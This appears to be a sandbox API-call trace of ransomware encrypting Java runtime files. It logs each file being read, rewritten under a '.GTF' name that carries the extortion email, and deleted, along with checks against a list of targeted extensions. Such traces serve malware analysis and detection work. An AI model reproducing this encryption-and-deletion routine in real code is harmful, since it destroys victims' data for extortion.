	[0157.093] ReadFile (in: hFile=0x4bc, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.093] WriteFile (in: hFile=0x418, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xe8, lpOverlapped=0x0) returned 1
	[0157.093] SetEndOfFile (hFile=0x418) returned 1
	[0157.093] CloseHandle (hObject=0x418) returned 1
	[0157.094] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.094] SetEndOfFile (hFile=0x4bc) returned 1
	[0157.096] CloseHandle (hObject=0x4bc) returned 1
	[0157.096] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0157.097] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\meta-index")) returned 1
	[0157.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0157.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0157.097] lstrlenW (lpString=".doc") returned 4
	[0157.097] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1
	[0157.097] lstrlenW (lpString=".docx") returned 5
	[0157.097] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1
	[0157.097] lstrlenW (lpString=".pdf") returned 4
	[0157.097] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1
	[0157.097] lstrlenW (lpString=".xls") returned 4
	[0157.097] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1
	[0157.097] lstrlenW (lpString=".xlsx") returned 5
	[0157.097] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1
	[0157.097] lstrlenW (lpString=".ppt") returned 4
	[0157.098] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1
	[0157.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0157.098] lstrlenW (lpString=".zip") returned 4
	[0157.098] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1
	[0157.098] lstrlenW (lpString=".rar") returned 4
	[0157.098] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1
	[0157.098] lstrlenW (lpString=".bz2") returned 4
	[0157.098] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1
	[0157.098] lstrlenW (lpString=".7z") returned 3
	[0157.098] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1
	[0157.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0157.098] lstrlenW (lpString=".dbf") returned 4
	[0157.098] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1
	[0157.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0157.098] lstrlenW (lpString=".1cd") returned 4
	[0157.098] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1
	[0157.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0157.098] lstrlenW (lpString=".jpg") returned 4
	[0157.098] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1
	[0157.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0157.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0157.098] lstrlenW (lpString=".doc") returned 4
	[0157.098] lstrcmpiW (lpString1=".doc", lpString2="ndex") returned -1
	[0157.098] lstrlenW (lpString=".docx") returned 5
	[0157.098] lstrcmpiW (lpString1=".docx", lpString2="index") returned -1
	[0157.098] lstrlenW (lpString=".pdf") returned 4
	[0157.098] lstrcmpiW (lpString1=".pdf", lpString2="ndex") returned -1
	[0157.098] lstrlenW (lpString=".xls") returned 4
	[0157.098] lstrcmpiW (lpString1=".xls", lpString2="ndex") returned -1
	[0157.098] lstrlenW (lpString=".xlsx") returned 5
	[0157.098] lstrcmpiW (lpString1=".xlsx", lpString2="index") returned -1
	[0157.098] lstrlenW (lpString=".ppt") returned 4
	[0157.098] lstrcmpiW (lpString1=".ppt", lpString2="ndex") returned -1
	[0157.099] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0157.103] lstrlenW (lpString=".zip") returned 4
	[0157.103] lstrcmpiW (lpString1=".zip", lpString2="ndex") returned -1
	[0157.104] lstrlenW (lpString=".rar") returned 4
	[0157.104] lstrcmpiW (lpString1=".rar", lpString2="ndex") returned -1
	[0157.104] lstrlenW (lpString=".bz2") returned 4
	[0157.104] lstrcmpiW (lpString1=".bz2", lpString2="ndex") returned -1
	[0157.104] lstrlenW (lpString=".7z") returned 3
	[0157.104] lstrcmpiW (lpString1=".7z", lpString2="dex") returned -1
	[0157.104] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0157.104] lstrlenW (lpString=".dbf") returned 4
	[0157.104] lstrcmpiW (lpString1=".dbf", lpString2="ndex") returned -1
	[0157.104] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0157.104] lstrlenW (lpString=".1cd") returned 4
	[0157.104] lstrcmpiW (lpString1=".1cd", lpString2="ndex") returned -1
	[0157.104] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\meta-index") returned 53
	[0157.104] lstrlenW (lpString=".jpg") returned 4
	[0157.104] lstrcmpiW (lpString1=".jpg", lpString2="ndex") returned -1
	[0157.104] lstrcmpiW (lpString1=".jar", lpString2=".GTF") returned 1
	[0157.104] lstrlenW (lpString="nashorn.jar") returned 11
	[0157.104] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0157.105] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=2022734) returned 1
	[0157.105] CloseHandle (hObject=0x4bc) returned 1
	[0157.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar")) returned 0x20
	[0157.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0157.106] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\nashorn.jar.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0
	[0157.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0157.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0157.106] lstrlenW (lpString=".doc") returned 4
	[0157.106] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0157.106] lstrlenW (lpString=".docx") returned 5
	[0157.106] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1
	[0157.106] lstrlenW (lpString=".pdf") returned 4
	[0157.106] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0157.106] lstrlenW (lpString=".xls") returned 4
	[0157.106] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0157.106] lstrlenW (lpString=".xlsx") returned 5
	[0157.106] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1
	[0157.106] lstrlenW (lpString=".ppt") returned 4
	[0157.106] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0157.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0157.106] lstrlenW (lpString=".zip") returned 4
	[0157.106] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0157.106] lstrlenW (lpString=".rar") returned 4
	[0157.106] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0157.106] lstrlenW (lpString=".bz2") returned 4
	[0157.106] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0157.106] lstrlenW (lpString=".7z") returned 3
	[0157.106] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0157.106] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0157.107] lstrlenW (lpString=".dbf") returned 4
	[0157.107] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0157.107] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0157.107] lstrlenW (lpString=".1cd") returned 4
	[0157.107] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0157.107] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0157.107] lstrlenW (lpString=".jpg") returned 4
	[0157.107] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0157.107] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0157.107] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0157.107] lstrlenW (lpString=".doc") returned 4
	[0157.107] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0157.107] lstrlenW (lpString=".docx") returned 5
	[0157.107] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1
	[0157.107] lstrlenW (lpString=".pdf") returned 4
	[0157.107] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0157.107] lstrlenW (lpString=".xls") returned 4
	[0157.107] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0157.107] lstrlenW (lpString=".xlsx") returned 5
	[0157.107] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1
	[0157.107] lstrlenW (lpString=".ppt") returned 4
	[0157.107] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0157.107] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0157.107] lstrlenW (lpString=".zip") returned 4
	[0157.107] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0157.107] lstrlenW (lpString=".rar") returned 4
	[0157.107] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0157.107] lstrlenW (lpString=".bz2") returned 4
	[0157.107] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0157.107] lstrlenW (lpString=".7z") returned 3
	[0157.107] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0157.107] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0157.107] lstrlenW (lpString=".dbf") returned 4
	[0157.107] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0157.107] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0157.107] lstrlenW (lpString=".1cd") returned 4
	[0157.108] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0157.108] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\nashorn.jar") returned 54
	[0157.108] lstrlenW (lpString=".jpg") returned 4
	[0157.108] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0157.108] lstrcmpiW (lpString1=".jar", lpString2=".GTF") returned 1
	[0157.108] lstrlenW (lpString="sunec.jar") returned 9
	[0157.108] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0157.109] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=42185) returned 1
	[0157.109] CloseHandle (hObject=0x4bc) returned 1
	[0157.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 0x20
	[0157.109] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0157.109] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0157.109] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.110] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.110] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0157.110] GetLastError () returned 0x0
	[0157.110] ReadFile (in: hFile=0x4bc, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0xa4c9, lpOverlapped=0x0) returned 1
	[0157.113] WriteFile (in: hFile=0x418, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xa4d0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xa4d0, lpOverlapped=0x0) returned 1
	[0157.115] ReadFile (in: hFile=0x4bc, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.115] WriteFile (in: hFile=0x418, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xe6, lpOverlapped=0x0) returned 1
	[0157.115] SetEndOfFile (hFile=0x418) returned 1
	[0157.115] CloseHandle (hObject=0x418) returned 1
	[0157.115] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.115] SetEndOfFile (hFile=0x4bc) returned 1
	[0157.119] CloseHandle (hObject=0x4bc) returned 1
	[0157.119] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0157.119] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunec.jar")) returned 1
	[0157.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0157.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0157.120] lstrlenW (lpString=".doc") returned 4
	[0157.120] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0157.120] lstrlenW (lpString=".docx") returned 5
	[0157.120] lstrcmpiW (lpString1=".docx", lpString2="c.jar") returned -1
	[0157.120] lstrlenW (lpString=".pdf") returned 4
	[0157.120] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0157.120] lstrlenW (lpString=".xls") returned 4
	[0157.120] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0157.120] lstrlenW (lpString=".xlsx") returned 5
	[0157.120] lstrcmpiW (lpString1=".xlsx", lpString2="c.jar") returned -1
	[0157.120] lstrlenW (lpString=".ppt") returned 4
	[0157.120] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0157.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0157.120] lstrlenW (lpString=".zip") returned 4
	[0157.120] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0157.120] lstrlenW (lpString=".rar") returned 4
	[0157.120] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0157.120] lstrlenW (lpString=".bz2") returned 4
	[0157.120] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0157.120] lstrlenW (lpString=".7z") returned 3
	[0157.120] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0157.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0157.120] lstrlenW (lpString=".dbf") returned 4
	[0157.120] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0157.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0157.120] lstrlenW (lpString=".1cd") returned 4
	[0157.120] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0157.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0157.120] lstrlenW (lpString=".jpg") returned 4
	[0157.120] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0157.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0157.120] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0157.121] lstrlenW (lpString=".doc") returned 4
	[0157.121] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0157.121] lstrlenW (lpString=".docx") returned 5
	[0157.121] lstrcmpiW (lpString1=".docx", lpString2="c.jar") returned -1
	[0157.121] lstrlenW (lpString=".pdf") returned 4
	[0157.121] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0157.121] lstrlenW (lpString=".xls") returned 4
	[0157.121] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0157.121] lstrlenW (lpString=".xlsx") returned 5
	[0157.121] lstrcmpiW (lpString1=".xlsx", lpString2="c.jar") returned -1
	[0157.121] lstrlenW (lpString=".ppt") returned 4
	[0157.121] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0157.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0157.121] lstrlenW (lpString=".zip") returned 4
	[0157.121] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0157.121] lstrlenW (lpString=".rar") returned 4
	[0157.121] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0157.121] lstrlenW (lpString=".bz2") returned 4
	[0157.121] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0157.121] lstrlenW (lpString=".7z") returned 3
	[0157.121] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0157.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0157.121] lstrlenW (lpString=".dbf") returned 4
	[0157.121] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
	[0157.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0157.121] lstrlenW (lpString=".1cd") returned 4
	[0157.121] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1
	[0157.121] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunec.jar") returned 52
	[0157.121] lstrlenW (lpString=".jpg") returned 4
	[0157.121] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1
	[0157.121] lstrcmpiW (lpString1=".jar", lpString2=".GTF") returned 1
	[0157.121] lstrlenW (lpString="sunjce_provider.jar") returned 19
	[0157.121] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0157.123] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=280161) returned 1
	[0157.123] CloseHandle (hObject=0x4bc) returned 1
	[0157.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 0x20
	[0157.123] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0157.123] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc
	[0157.123] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.123] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.123] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x418
	[0157.124] GetLastError () returned 0x0
	[0157.124] ReadFile (in: hFile=0x4bc, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x44661, lpOverlapped=0x0) returned 1
	[0157.383] WriteFile (in: hFile=0x418, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x44670, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x44670, lpOverlapped=0x0) returned 1
	[0157.390] ReadFile (in: hFile=0x4bc, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0157.390] WriteFile (in: hFile=0x418, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xfa, lpOverlapped=0x0) returned 1
	[0157.390] SetEndOfFile (hFile=0x418) returned 1
	[0157.390] CloseHandle (hObject=0x418) returned 1
	[0157.390] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0157.390] SetEndOfFile (hFile=0x4bc) returned 1
	[0157.398] CloseHandle (hObject=0x4bc) returned 1
	[0157.398] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0157.399] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar")) returned 1
	[0157.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0157.399] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0157.399] lstrlenW (lpString=".doc") returned 4
	[0157.399] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1
	[0157.400] lstrlenW (lpString=".docx") returned 5
	[0157.400] lstrcmpiW (lpString1=".docx", lpString2="r.jar") returned -1
	[0157.400] lstrlenW (lpString=".pdf") returned 4
	[0157.400] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1
	[0157.400] lstrlenW (lpString=".xls") returned 4
	[0157.400] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1
	[0157.400] lstrlenW (lpString=".xlsx") returned 5
	[0157.400] lstrcmpiW (lpString1=".xlsx", lpString2="r.jar") returned -1
	[0157.400] lstrlenW (lpString=".ppt") returned 4
	[0157.400] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1
	[0157.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0157.400] lstrlenW (lpString=".zip") returned 4
	[0157.400] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1
	[0157.400] lstrlenW (lpString=".rar") returned 4
	[0157.400] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1
	[0157.400] lstrlenW (lpString=".bz2") returned 4
	[0157.400] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1
	[0157.400] lstrlenW (lpString=".7z") returned 3
	[0157.400] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1
	[0157.400] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\sunjce_provider.jar") returned 62
	[0157.400] lstrlenW (lpString=".dbf") returned 4
	[0157.400] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1
